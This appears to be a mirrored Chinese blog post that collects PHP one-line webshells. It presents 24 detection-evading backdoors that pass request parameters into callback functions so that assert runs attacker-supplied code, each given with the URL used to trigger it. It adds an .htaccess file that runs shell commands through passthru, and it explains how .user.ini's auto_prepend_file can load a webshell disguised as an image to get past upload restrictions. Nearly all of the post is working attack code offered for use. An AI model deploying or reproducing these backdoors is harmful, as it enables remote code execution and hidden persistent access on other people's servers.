zoukankan      html  css  js  c++  java
  • PHP后门一句话-汇总

    无特征PHP一句话木马

    分享些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。(少部分一句话需要php5.4.8 、或sqlite/pdo/yaml/memcached扩展等)

    原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

    所有一句话使用方法基本都是:http:// target/shell.php?e=assert 密码pass

    01

    1
    2
    3
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'],);
    array_filter($arr, $e);

    02

    1
    2
    3
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'],);
    array_map($e, $arr);

    03

    1
    2
    3
    $e = $_REQUEST['e'];
    $arr = array('test', $_REQUEST['pass']);
    uasort($arr, $e);

    04

    1
    2
    3
    $e = $_REQUEST['e'];
    $arr = array('test' => 1, $_REQUEST['pass'] => 2);
    uksort($arr, $e);

    05

    1
    2
    $arr = new ArrayObject(array('test', $_REQUEST['pass']));
    $arr->uasort('assert');

    06

    1
    2
    $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
    $arr->uksort('assert');

    07

    1
    2
    3
    $e = $_REQUEST['e'];
    $arr = array(1);
    array_reduce($arr, $e, $_POST['pass']);

    08

    1
    2
    3
    4
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass']);
    $arr2 = array(1);
    array_udiff($arr, $arr2, $e);

    09

    1
    2
    3
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'] => '|.*|e',);
    array_walk($arr, $e, '');

    10

    1
    2
    3
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'] => '|.*|e',);
    array_walk_recursive($arr, $e, '');

    11

    1
    mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

    12

    1
    echo preg_filter('|.*|e', $_REQUEST['pass'], '');

    13

    1
    2
    3
    ob_start('assert');
    echo $_REQUEST['pass'];
    ob_end_flush();

    14

    1
    2
    $e = $_REQUEST['e'];
    register_shutdown_function($e, $_REQUEST['pass']);

    15

    1
    2
    3
    $e = $_REQUEST['e'];
    declare(ticks=1);
    register_tick_function($e, $_REQUEST['pass']);

    16

    1
    filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));

    17

    1
    filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

    18

    1
    2
    3
    4
    5
    $e = $_REQUEST['e'];
    $db = new PDO('sqlite:sqlite.db3');
    $db->sqliteCreateFunction('myfunc', $e, 1);
    $sth = $db->prepare("SELECT myfunc(:exec)");
    $sth->execute(array(':exec' => $_REQUEST['pass']));

    19

    1
    2
    3
    4
    5
    6
    $e = $_REQUEST['e'];
    $db = new SQLite3('sqlite.db3');
    $db->createFunction('myfunc', $e);
    $stmt = $db->prepare("SELECT myfunc(?)");
    $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
    $stmt->execute();

    20

    1
    2
    3
    4
    5
    $str = urlencode($_REQUEST['pass']);
    $yaml = <<<EOD
    greeting: !{$str} "|. |e"
    EOD;
    $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

    21

    1
    2
    3
    $mem = new Memcache();
    $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
    $mem->connect($_REQUEST['pass'], 11211, 0);

    22

    1
    preg_replace_callback('/. /i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

    23

    1
    mb_ereg_replace_callback('. ', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

    24

    1
    2
    $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
    foreach ($iterator as $item) {echo $item;}

    用.htaccess做更隐蔽的后门

    #首先允许web访问这个文件
    
    <Files ~ "^.ht">
    Order allow,deny
    Allow from all
    </Files>
    
    RedirectMatch 403 .htaccess$
    #.htaccess结尾的403错误,这里是为了增加隐蔽性
    
    AddType application/x-httpd-php .htaccess
    #给.htaccess映射php拓展
    
    ### SHELL ### <?php echo "
    ";passthru($_GET['c']." 2>&1"); ?>### KINDLE ###
    #恶意的php代码

    使用方法:http://localhost/.htaccess/?c=dir

    user.ini文件构成的PHP后门


    那么什么是.user.ini?

    这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER。 在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:

    enter image description here

    其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

    除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

    在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

    这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

    实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

    而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

    然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functionsextension_direnable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

    Php配置项中有两个比较有意思的项(下图第一、四个):

    enter image description here

    auto_append_fileauto_prepend_file,点开看看什么意思:

    enter image description here

    指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

    auto_prepend_file=01.gif
    

    01.gif是要包含的文件。

    所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

    测试一下,我分别在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3上测试。 目录下有.user.ini,和包含webshell的01.gif,和正常php文件echo.php:

    enter image description here

    enter image description here

    访问echo.php即可看到后门:

    enter image description here

    Nginx下同样:

    enter image description here

    enter image description here

    那么,我们可以猥琐地想一下,在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。

  • 相关阅读:
    UOJ Contest #50: Goodbye Jihai
    Codeforces 1278F: Cards
    RS-485总线和Modbus通信协议的关系
    基于Lwip协议栈中独立模式下回调函数的使用
    C语言之链表的使用
    LAN8720A网络模块的使用问题
    C语言的多行宏定义
    C# 解决ListView控件显示数据出现闪屏的问题
    解决使用SecureCRT不能连接Ubuntu的问题
    C++ 与C# 对应的变量互转
  • 原文地址:https://www.cnblogs.com/Risk2S/p/11452697.html
Copyright © 2011-2022 走看看